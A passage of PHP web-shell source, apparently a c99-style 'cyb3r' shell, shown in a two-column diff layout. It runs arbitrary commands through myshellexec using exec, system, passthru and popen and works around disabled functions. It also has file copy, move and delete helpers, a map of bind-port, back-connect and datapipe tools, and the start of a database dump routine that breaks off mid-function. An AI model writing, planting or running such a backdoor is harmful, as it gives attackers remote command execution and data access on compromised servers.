| 681 | return substr($content, 0,$len)."...".substr($content,-$len); | 681 | return substr($content, 0,$len)."...".substr($content,-$len); |
| 682 | 682 | ||
| 683 | } | 683 | } |
| 684 | 684 | ||
| 685 | else {return $content;} | 685 | else {return $content;} |
| 686 | 686 | ||
| 687 | } | 687 | } |
| 688 | 688 | ||
| 689 | } | 689 | } |
| 690 | 690 | ||
| 691 | if (!function_exists("view_size")) | 691 | if (!function_exists("view_size")) |
| 692 | 692 | ||
| 693 | { | 693 | { |
| 694 | 694 | ||
| 695 | function view_size($size) | 695 | function view_size($size) |
| 696 | 696 | ||
| 697 | { | 697 | { |
| 698 | 698 | ||
| 699 | if (!is_numeric($size)) {return FALSE;} | 699 | if (!is_numeric($size)) {return FALSE;} |
| 700 | 700 | ||
| 701 | else | 701 | else |
| 702 | 702 | ||
| 703 | { | 703 | { |
| 704 | 704 | ||
| 705 | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} | 705 | if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} |
| 706 | 706 | ||
| 707 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} | 707 | elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} |
| 708 | 708 | ||
| 709 | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} | 709 | elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} |
| 710 | 710 | ||
| 711 | else {$size = $size . " B";} | 711 | else {$size = $size . " B";} |
| 712 | 712 | ||
| 713 | return $size; | 713 | return $size; |
| 714 | 714 | ||
| 715 | } | 715 | } |
| 716 | 716 | ||
| 717 | } | 717 | } |
| 718 | 718 | ||
| 719 | } | 719 | } |
| 720 | 720 | ||
| 721 | if (!function_exists("fs_copy_dir")) | 721 | if (!function_exists("fs_copy_dir")) |
| 722 | 722 | ||
| 723 | { | 723 | { |
| 724 | 724 | ||
| 725 | function fs_copy_dir($d,$t) | 725 | function fs_copy_dir($d,$t) |
| 726 | 726 | ||
| 727 | { | 727 | { |
| 728 | 728 | ||
| 729 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 729 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 730 | 730 | ||
| 731 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 731 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 732 | 732 | ||
| 733 | $h = opendir($d); | 733 | $h = opendir($d); |
| 734 | 734 | ||
| 735 | while (($o = readdir($h)) !== FALSE) | 735 | while (($o = readdir($h)) !== FALSE) |
| 736 | 736 | ||
| 737 | { | 737 | { |
| 738 | 738 | ||
| 739 | if (($o != ".") and ($o != "..")) | 739 | if (($o != ".") and ($o != "..")) |
| 740 | 740 | ||
| 741 | { | 741 | { |
| 742 | 742 | ||
| 743 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 743 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
| 744 | 744 | ||
| 745 | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 745 | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
| 746 | 746 | ||
| 747 | if (!$ret) {return $ret;} | 747 | if (!$ret) {return $ret;} |
| 748 | 748 | ||
| 749 | } | 749 | } |
| 750 | 750 | ||
| 751 | } | 751 | } |
| 752 | 752 | ||
| 753 | closedir($h); | 753 | closedir($h); |
| 754 | 754 | ||
| 755 | return TRUE; | 755 | return TRUE; |
| 756 | 756 | ||
| 757 | } | 757 | } |
| 758 | 758 | ||
| 759 | } | 759 | } |
| 760 | 760 | ||
| 761 | if (!function_exists("fs_copy_obj")) | 761 | if (!function_exists("fs_copy_obj")) |
| 762 | 762 | ||
| 763 | { | 763 | { |
| 764 | 764 | ||
| 765 | function fs_copy_obj($d,$t) | 765 | function fs_copy_obj($d,$t) |
| 766 | 766 | ||
| 767 | { | 767 | { |
| 768 | 768 | ||
| 769 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 769 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 770 | 770 | ||
| 771 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); | 771 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
| 772 | 772 | ||
| 773 | if (!is_dir(dirname($t))) {mkdir(dirname($t));} | 773 | if (!is_dir(dirname($t))) {mkdir(dirname($t));} |
| 774 | 774 | ||
| 775 | if (is_dir($d)) | 775 | if (is_dir($d)) |
| 776 | 776 | ||
| 777 | { | 777 | { |
| 778 | 778 | ||
| 779 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 779 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 780 | 780 | ||
| 781 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} | 781 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
| 782 | 782 | ||
| 783 | return fs_copy_dir($d,$t); | 783 | return fs_copy_dir($d,$t); |
| 784 | 784 | ||
| 785 | } | 785 | } |
| 786 | 786 | ||
| 787 | elseif (is_file($d)) {return copy($d,$t);} | 787 | elseif (is_file($d)) {return copy($d,$t);} |
| 788 | 788 | ||
| 789 | else {return FALSE;} | 789 | else {return FALSE;} |
| 790 | 790 | ||
| 791 | } | 791 | } |
| 792 | 792 | ||
| 793 | } | 793 | } |
| 794 | 794 | ||
| 795 | if (!function_exists("fs_move_dir")) | 795 | if (!function_exists("fs_move_dir")) |
| 796 | 796 | ||
| 797 | { | 797 | { |
| 798 | 798 | ||
| 799 | function fs_move_dir($d,$t) | 799 | function fs_move_dir($d,$t) |
| 800 | 800 | ||
| 801 | { | 801 | { |
| 802 | 802 | ||
| 803 | $h = opendir($d); | 803 | $h = opendir($d); |
| 804 | 804 | ||
| 805 | if (!is_dir($t)) {mkdir($t);} | 805 | if (!is_dir($t)) {mkdir($t);} |
| 806 | 806 | ||
| 807 | while (($o = readdir($h)) !== FALSE) | 807 | while (($o = readdir($h)) !== FALSE) |
| 808 | 808 | ||
| 809 | { | 809 | { |
| 810 | 810 | ||
| 811 | if (($o != ".") and ($o != "..")) | 811 | if (($o != ".") and ($o != "..")) |
| 812 | 812 | ||
| 813 | { | 813 | { |
| 814 | 814 | ||
| 815 | $ret = TRUE; | 815 | $ret = TRUE; |
| 816 | 816 | ||
| 817 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 817 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
| 818 | 818 | ||
| 819 | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} | 819 | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} |
| 820 | 820 | ||
| 821 | if (!$ret) {return $ret;} | 821 | if (!$ret) {return $ret;} |
| 822 | 822 | ||
| 823 | } | 823 | } |
| 824 | 824 | ||
| 825 | } | 825 | } |
| 826 | 826 | ||
| 827 | closedir($h); | 827 | closedir($h); |
| 828 | 828 | ||
| 829 | return TRUE; | 829 | return TRUE; |
| 830 | 830 | ||
| 831 | } | 831 | } |
| 832 | 832 | ||
| 833 | } | 833 | } |
| 834 | 834 | ||
| 835 | if (!function_exists("fs_move_obj")) | 835 | if (!function_exists("fs_move_obj")) |
| 836 | 836 | ||
| 837 | { | 837 | { |
| 838 | 838 | ||
| 839 | function fs_move_obj($d,$t) | 839 | function fs_move_obj($d,$t) |
| 840 | 840 | ||
| 841 | { | 841 | { |
| 842 | 842 | ||
| 843 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 843 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 844 | 844 | ||
| 845 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); | 845 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
| 846 | 846 | ||
| 847 | if (is_dir($d)) | 847 | if (is_dir($d)) |
| 848 | 848 | ||
| 849 | { | 849 | { |
| 850 | 850 | ||
| 851 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 851 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 852 | 852 | ||
| 853 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} | 853 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
| 854 | 854 | ||
| 855 | return fs_move_dir($d,$t); | 855 | return fs_move_dir($d,$t); |
| 856 | 856 | ||
| 857 | } | 857 | } |
| 858 | 858 | ||
| 859 | elseif (is_file($d)) | 859 | elseif (is_file($d)) |
| 860 | 860 | ||
| 861 | { | 861 | { |
| 862 | 862 | ||
| 863 | if(copy($d,$t)) {return unlink($d);} | 863 | if(copy($d,$t)) {return unlink($d);} |
| 864 | 864 | ||
| 865 | else {unlink($t); return FALSE;} | 865 | else {unlink($t); return FALSE;} |
| 866 | 866 | ||
| 867 | } | 867 | } |
| 868 | 868 | ||
| 869 | else {return FALSE;} | 869 | else {return FALSE;} |
| 870 | 870 | ||
| 871 | } | 871 | } |
| 872 | 872 | ||
| 873 | } | 873 | } |
| 874 | 874 | ||
| 875 | if (!function_exists("fs_rmdir")) | 875 | if (!function_exists("fs_rmdir")) |
| 876 | 876 | ||
| 877 | { | 877 | { |
| 878 | 878 | ||
| 879 | function fs_rmdir($d) | 879 | function fs_rmdir($d) |
| 880 | 880 | ||
| 881 | { | 881 | { |
| 882 | 882 | ||
| 883 | $h = opendir($d); | 883 | $h = opendir($d); |
| 884 | 884 | ||
| 885 | while (($o = readdir($h)) !== FALSE) | 885 | while (($o = readdir($h)) !== FALSE) |
| 886 | 886 | ||
| 887 | { | 887 | { |
| 888 | 888 | ||
| 889 | if (($o != ".") and ($o != "..")) | 889 | if (($o != ".") and ($o != "..")) |
| 890 | 890 | ||
| 891 | { | 891 | { |
| 892 | 892 | ||
| 893 | if (!is_dir($d.$o)) {unlink($d.$o);} | 893 | if (!is_dir($d.$o)) {unlink($d.$o);} |
| 894 | 894 | ||
| 895 | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} | 895 | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} |
| 896 | 896 | ||
| 897 | } | 897 | } |
| 898 | 898 | ||
| 899 | } | 899 | } |
| 900 | 900 | ||
| 901 | closedir($h); | 901 | closedir($h); |
| 902 | 902 | ||
| 903 | rmdir($d); | 903 | rmdir($d); |
| 904 | 904 | ||
| 905 | return !is_dir($d); | 905 | return !is_dir($d); |
| 906 | 906 | ||
| 907 | } | 907 | } |
| 908 | 908 | ||
| 909 | } | 909 | } |
| 910 | 910 | ||
| 911 | if (!function_exists("fs_rmobj")) | 911 | if (!function_exists("fs_rmobj")) |
| 912 | 912 | ||
| 913 | { | 913 | { |
| 914 | 914 | ||
| 915 | function fs_rmobj($o) | 915 | function fs_rmobj($o) |
| 916 | 916 | ||
| 917 | { | 917 | { |
| 918 | 918 | ||
| 919 | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); | 919 | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); |
| 920 | 920 | ||
| 921 | if (is_dir($o)) | 921 | if (is_dir($o)) |
| 922 | 922 | ||
| 923 | { | 923 | { |
| 924 | 924 | ||
| 925 | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} | 925 | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} |
| 926 | 926 | ||
| 927 | return fs_rmdir($o); | 927 | return fs_rmdir($o); |
| 928 | 928 | ||
| 929 | } | 929 | } |
| 930 | 930 | ||
| 931 | elseif (is_file($o)) {return unlink($o);} | 931 | elseif (is_file($o)) {return unlink($o);} |
| 932 | 932 | ||
| 933 | else {return FALSE;} | 933 | else {return FALSE;} |
| 934 | 934 | ||
| 935 | } | 935 | } |
| 936 | 936 | ||
| 937 | } | 937 | } |
| 938 | 938 | ||
| 939 | if (!function_exists("myshellexec")) | 939 | if (!function_exists("myshellexec")) |
| 940 | 940 | ||
| 941 | { | 941 | { |
| 942 | 942 | ||
| 943 | function myshellexec($cmd) | 943 | function myshellexec($cmd) |
| 944 | 944 | ||
| 945 | { | 945 | { |
| 946 | 946 | ||
| 947 | global $disablefunc; | 947 | global $disablefunc; |
| 948 | 948 | ||
| 949 | $result = ""; | 949 | $result = ""; |
| 950 | 950 | ||
| 951 | if (!empty($cmd)) | 951 | if (!empty($cmd)) |
| 952 | 952 | ||
| 953 | { | 953 | { |
| 954 | 954 | ||
| 955 | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} | 955 | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} |
| 956 | 956 | ||
| 957 | elseif (($result = `$cmd`) !== FALSE) {} | 957 | elseif (($result = `$cmd`) !== FALSE) {} |
| 958 | 958 | ||
| 959 | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} | 959 | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
| 960 | 960 | ||
| 961 | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} | 961 | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
| 962 | 962 | ||
| 963 | elseif (is_resource($fp = popen($cmd,"r"))) | 963 | elseif (is_resource($fp = popen($cmd,"r"))) |
| 964 | 964 | ||
| 965 | { | 965 | { |
| 966 | 966 | ||
| 967 | $result = ""; | 967 | $result = ""; |
| 968 | 968 | ||
| 969 | while(!feof($fp)) {$result .= fread($fp,1024);} | 969 | while(!feof($fp)) {$result .= fread($fp,1024);} |
| 970 | 970 | ||
| 971 | pclose($fp); | 971 | pclose($fp); |
| 972 | 972 | ||
| 973 | } | 973 | } |
| 974 | 974 | ||
| 975 | } | 975 | } |
| 976 | 976 | ||
| 977 | return $result; | 977 | return $result; |
| 978 | 978 | ||
| 979 | } | 979 | } |
| 980 | 980 | ||
| 981 | } | 981 | } |
| 982 | 982 | ||
| 983 | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} | 983 | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} |
| 984 | 984 | ||
| 985 | if (!function_exists("view_perms")) | 985 | if (!function_exists("view_perms")) |
| 986 | 986 | ||
| 987 | { | 987 | { |
| 988 | 988 | ||
| 989 | function view_perms($mode) | 989 | function view_perms($mode) |
| 990 | 990 | ||
| 991 | { | 991 | { |
| 992 | 992 | ||
| 993 | if (($mode & 0xC000) === 0xC000) {$type = "s";} | 993 | if (($mode & 0xC000) === 0xC000) {$type = "s";} |
| 994 | 994 | ||
| 995 | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} | 995 | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} |
| 996 | 996 | ||
| 997 | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} | 997 | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} |
| 998 | 998 | ||
| 999 | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} | 999 | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} |
| 1000 | 1000 | ||
| 1001 | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} | 1001 | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} |
| 1002 | 1002 | ||
| 1003 | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} | 1003 | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} |
| 1004 | 1004 | ||
| 1005 | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} | 1005 | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} |
| 1006 | 1006 | ||
| 1007 | else {$type = "?";} | 1007 | else {$type = "?";} |
| 1008 | 1008 | ||
| 1009 | 1009 | ||
| 1010 | 1010 | ||
| 1011 | $owner["read"] = ($mode & 00400)?"r":"-"; | 1011 | $owner["read"] = ($mode & 00400)?"r":"-"; |
| 1012 | 1012 | ||
| 1013 | $owner["write"] = ($mode & 00200)?"w":"-"; | 1013 | $owner["write"] = ($mode & 00200)?"w":"-"; |
| 1014 | 1014 | ||
| 1015 | $owner["execute"] = ($mode & 00100)?"x":"-"; | 1015 | $owner["execute"] = ($mode & 00100)?"x":"-"; |
| 1016 | 1016 | ||
| 1017 | $group["read"] = ($mode & 00040)?"r":"-"; | 1017 | $group["read"] = ($mode & 00040)?"r":"-"; |
| 1018 | 1018 | ||
| 1019 | $group["write"] = ($mode & 00020)?"w":"-"; | 1019 | $group["write"] = ($mode & 00020)?"w":"-"; |
| 1020 | 1020 | ||
| 1021 | $group["execute"] = ($mode & 00010)?"x":"-"; | 1021 | $group["execute"] = ($mode & 00010)?"x":"-"; |
| 1022 | 1022 | ||
| 1023 | $world["read"] = ($mode & 00004)?"r":"-"; | 1023 | $world["read"] = ($mode & 00004)?"r":"-"; |
| 1024 | 1024 | ||
| 1025 | $world["write"] = ($mode & 00002)? "w":"-"; | 1025 | $world["write"] = ($mode & 00002)? "w":"-"; |
| 1026 | 1026 | ||
| 1027 | $world["execute"] = ($mode & 00001)?"x":"-"; | 1027 | $world["execute"] = ($mode & 00001)?"x":"-"; |
| 1028 | 1028 | ||
| 1029 | 1029 | ||
| 1030 | 1030 | ||
| 1031 | if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} | 1031 | if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} |
| 1032 | 1032 | ||
| 1033 | if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} | 1033 | if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} |
| 1034 | 1034 | ||
| 1035 | if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} | 1035 | if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} |
| 1036 | 1036 | ||
| 1037 | 1037 | ||
| 1038 | 1038 | ||
| 1039 | return $type.join("",$owner).join("",$group).join("",$world); | 1039 | return $type.join("",$owner).join("",$group).join("",$world); |
| 1040 | 1040 | ||
| 1041 | } | 1041 | } |
| 1042 | 1042 | ||
| 1043 | } | 1043 | } |
| 1044 | 1044 | ||
| 1045 | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} | 1045 | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} |
| 1046 | 1046 | ||
| 1047 | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} | 1047 | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} |
| 1048 | 1048 | ||
| 1049 | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} | 1049 | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} |
| 1050 | 1050 | ||
| 1051 | if (!function_exists("parse_perms")) | 1051 | if (!function_exists("parse_perms")) |
| 1052 | 1052 | ||
| 1053 | { | 1053 | { |
| 1054 | 1054 | ||
| 1055 | function parse_perms($mode) | 1055 | function parse_perms($mode) |
| 1056 | 1056 | ||
| 1057 | { | 1057 | { |
| 1058 | 1058 | ||
| 1059 | if (($mode & 0xC000) === 0xC000) {$t = "s";} | 1059 | if (($mode & 0xC000) === 0xC000) {$t = "s";} |
| 1060 | 1060 | ||
| 1061 | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} | 1061 | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} |
| 1062 | 1062 | ||
| 1063 | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} | 1063 | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} |
| 1064 | 1064 | ||
| 1065 | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} | 1065 | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} |
| 1066 | 1066 | ||
| 1067 | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} | 1067 | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} |
| 1068 | 1068 | ||
| 1069 | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} | 1069 | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} |
| 1070 | 1070 | ||
| 1071 | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} | 1071 | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} |
| 1072 | 1072 | ||
| 1073 | else {$t = "?";} | 1073 | else {$t = "?";} |
| 1074 | 1074 | ||
| 1075 | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; | 1075 | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; |
| 1076 | 1076 | ||
| 1077 | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; | 1077 | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; |
| 1078 | 1078 | ||
| 1079 | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; | 1079 | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; |
| 1080 | 1080 | ||
| 1081 | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); | 1081 | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); |
| 1082 | 1082 | ||
| 1083 | } | 1083 | } |
| 1084 | 1084 | ||
| 1085 | } | 1085 | } |
| 1086 | 1086 | ||
| 1087 | if (!function_exists("parsesort")) | 1087 | if (!function_exists("parsesort")) |
| 1088 | 1088 | ||
| 1089 | { | 1089 | { |
| 1090 | 1090 | ||
| 1091 | function parsesort($sort) | 1091 | function parsesort($sort) |
| 1092 | 1092 | ||
| 1093 | { | 1093 | { |
| 1094 | 1094 | ||
| 1095 | $one = intval($sort); | 1095 | $one = intval($sort); |
| 1096 | 1096 | ||
| 1097 | $second = substr($sort,-1); | 1097 | $second = substr($sort,-1); |
| 1098 | 1098 | ||
| 1099 | if ($second != "d") {$second = "a";} | 1099 | if ($second != "d") {$second = "a";} |
| 1100 | 1100 | ||
| 1101 | return array($one,$second); | 1101 | return array($one,$second); |
| 1102 | 1102 | ||
| 1103 | } | 1103 | } |
| 1104 | 1104 | ||
| 1105 | } | 1105 | } |
| 1106 | 1106 | ||
| 1107 | if (!function_exists("view_perms_color")) | 1107 | if (!function_exists("view_perms_color")) |
| 1108 | 1108 | ||
| 1109 | { | 1109 | { |
| 1110 | 1110 | ||
| 1111 | function view_perms_color($o) | 1111 | function view_perms_color($o) |
| 1112 | 1112 | ||
| 1113 | { | 1113 | { |
| 1114 | 1114 | ||
| 1115 | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} | 1115 | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} |
| 1116 | 1116 | ||
| 1117 | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} | 1117 | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} |
| 1118 | 1118 | ||
| 1119 | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} | 1119 | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} |
| 1120 | 1120 | ||
| 1121 | } | 1121 | } |
| 1122 | 1122 | ||
| 1123 | } | 1123 | } |
| 1124 | 1124 | ||
| 1125 | if (!function_exists("cyb3rgetsource")) | 1125 | if (!function_exists("cyb3rgetsource")) |
| 1126 | 1126 | ||
| 1127 | { | 1127 | { |
| 1128 | 1128 | ||
| 1129 | function cyb3rgetsource($fn) | 1129 | function cyb3rgetsource($fn) |
| 1130 | 1130 | ||
| 1131 | { | 1131 | { |
| 1132 | 1132 | ||
| 1133 | global $cyb3r_sourcesurl; | 1133 | global $cyb3r_sourcesurl; |
| 1134 | 1134 | ||
| 1135 | $array = array( | 1135 | $array = array( |
| 1136 | 1136 | ||
| 1137 | "cyb3r_bindport.pl" => "cyb3r_bindport_pl.txt", | 1137 | "cyb3r_bindport.pl" => "cyb3r_bindport_pl.txt", |
| 1138 | 1138 | ||
| 1139 | "cyb3r_bindport.c" => "cyb3r_bindport_c.txt", | 1139 | "cyb3r_bindport.c" => "cyb3r_bindport_c.txt", |
| 1140 | 1140 | ||
| 1141 | "cyb3r_backconn.pl" => "cyb3r_backconn_pl.txt", | 1141 | "cyb3r_backconn.pl" => "cyb3r_backconn_pl.txt", |
| 1142 | 1142 | ||
| 1143 | "cyb3r_backconn.c" => "cyb3r_backconn_c.txt", | 1143 | "cyb3r_backconn.c" => "cyb3r_backconn_c.txt", |
| 1144 | 1144 | ||
| 1145 | "cyb3r_datapipe.pl" => "cyb3r_datapipe_pl.txt", | 1145 | "cyb3r_datapipe.pl" => "cyb3r_datapipe_pl.txt", |
| 1146 | 1146 | ||
| 1147 | "cyb3r_datapipe.c" => "cyb3r_datapipe_c.txt", | 1147 | "cyb3r_datapipe.c" => "cyb3r_datapipe_c.txt", |
| 1148 | 1148 | ||
| 1149 | ); | 1149 | ); |
| 1150 | 1150 | ||
| 1151 | } | 1151 | } |
| 1152 | 1152 | ||
| 1153 | } | 1153 | } |
| 1154 | 1154 | ||
| 1155 | if (!function_exists("mysql_dump")) | 1155 | if (!function_exists("mysql_dump")) |
| 1156 | 1156 | ||
| 1157 | { | 1157 | { |
| 1158 | 1158 | ||
| 1159 | function mysql_dump($set) | 1159 | function mysql_dump($set) |
| 1160 | 1160 | ||
| 1161 | { | 1161 | { |
| 1162 | 1162 | ||
| 1163 | global $shver; | 1163 | global $shver; |
| 1164 | 1164 | ||
| 1165 | $sock = $set["sock"]; | 1165 | $sock = $set["sock"]; |
| 1166 | 1166 | ||
| 1167 | $db = $set["db"]; | 1167 | $db = $set["db"]; |
| 1168 | 1168 | ||
| 1169 | $print = $set["print"]; | 1169 | $print = $set["print"]; |
| 1170 | 1170 | ||
| 1171 | $nl2br = $set["nl2br"]; | 1171 | $nl2br = $set["nl2br"]; |
| 1172 | 1172 | ||
| 1173 | $file = $set["file"]; | 1173 | $file = $set["file"]; |
| 1174 | 1174 | ||
| 1175 | $add_drop = $set["add_drop"]; | 1175 | $add_drop = $set["add_drop"]; |
| 1176 | 1176 | ||
| 1177 | $tabs = $set["tabs"]; | 1177 | $tabs = $set["tabs"]; |
| 1178 | 1178 | ||
| 1179 | $onlytabs = $set["onlytabs"]; | 1179 | $onlytabs = $set["onlytabs"]; |
| 1180 | 1180 | ||
| 1181 | $ret = array(); | 1181 | $ret = array(); |
| 1182 | 1182 | ||
| 1183 | $ret["err"] = array(); | 1183 | $ret["err"] = array(); |
| 1184 | 1184 | ||
| 1185 | if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} | 1185 | if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} |
| 1186 | 1186 | ||
| 1187 | if (empty($db)) {$db = "db";} | 1187 | if (empty($db)) {$db = "db";} |
| 1188 | 1188 | ||
| 1189 | if (empty($print)) {$print = 0;} | 1189 | if (empty($print)) {$print = 0;} |
| 1190 | 1190 | ||
| 1191 | if (empty($nl2br)) {$nl2br = 0;} | 1191 | if (empty($nl2br)) {$nl2br = 0;} |
| 1192 | 1192 | ||
| 1193 | if (empty($add_drop)) {$add_drop = TRUE;} | 1193 | if (empty($add_drop)) {$add_drop = TRUE;} |
| 1194 | 1194 | ||
| 1195 | if (empty($file)) | 1195 | if (empty($file)) |
| 1196 | 1196 | ||
| 1197 | { | 1197 | { |
| 1198 | 1198 | ||
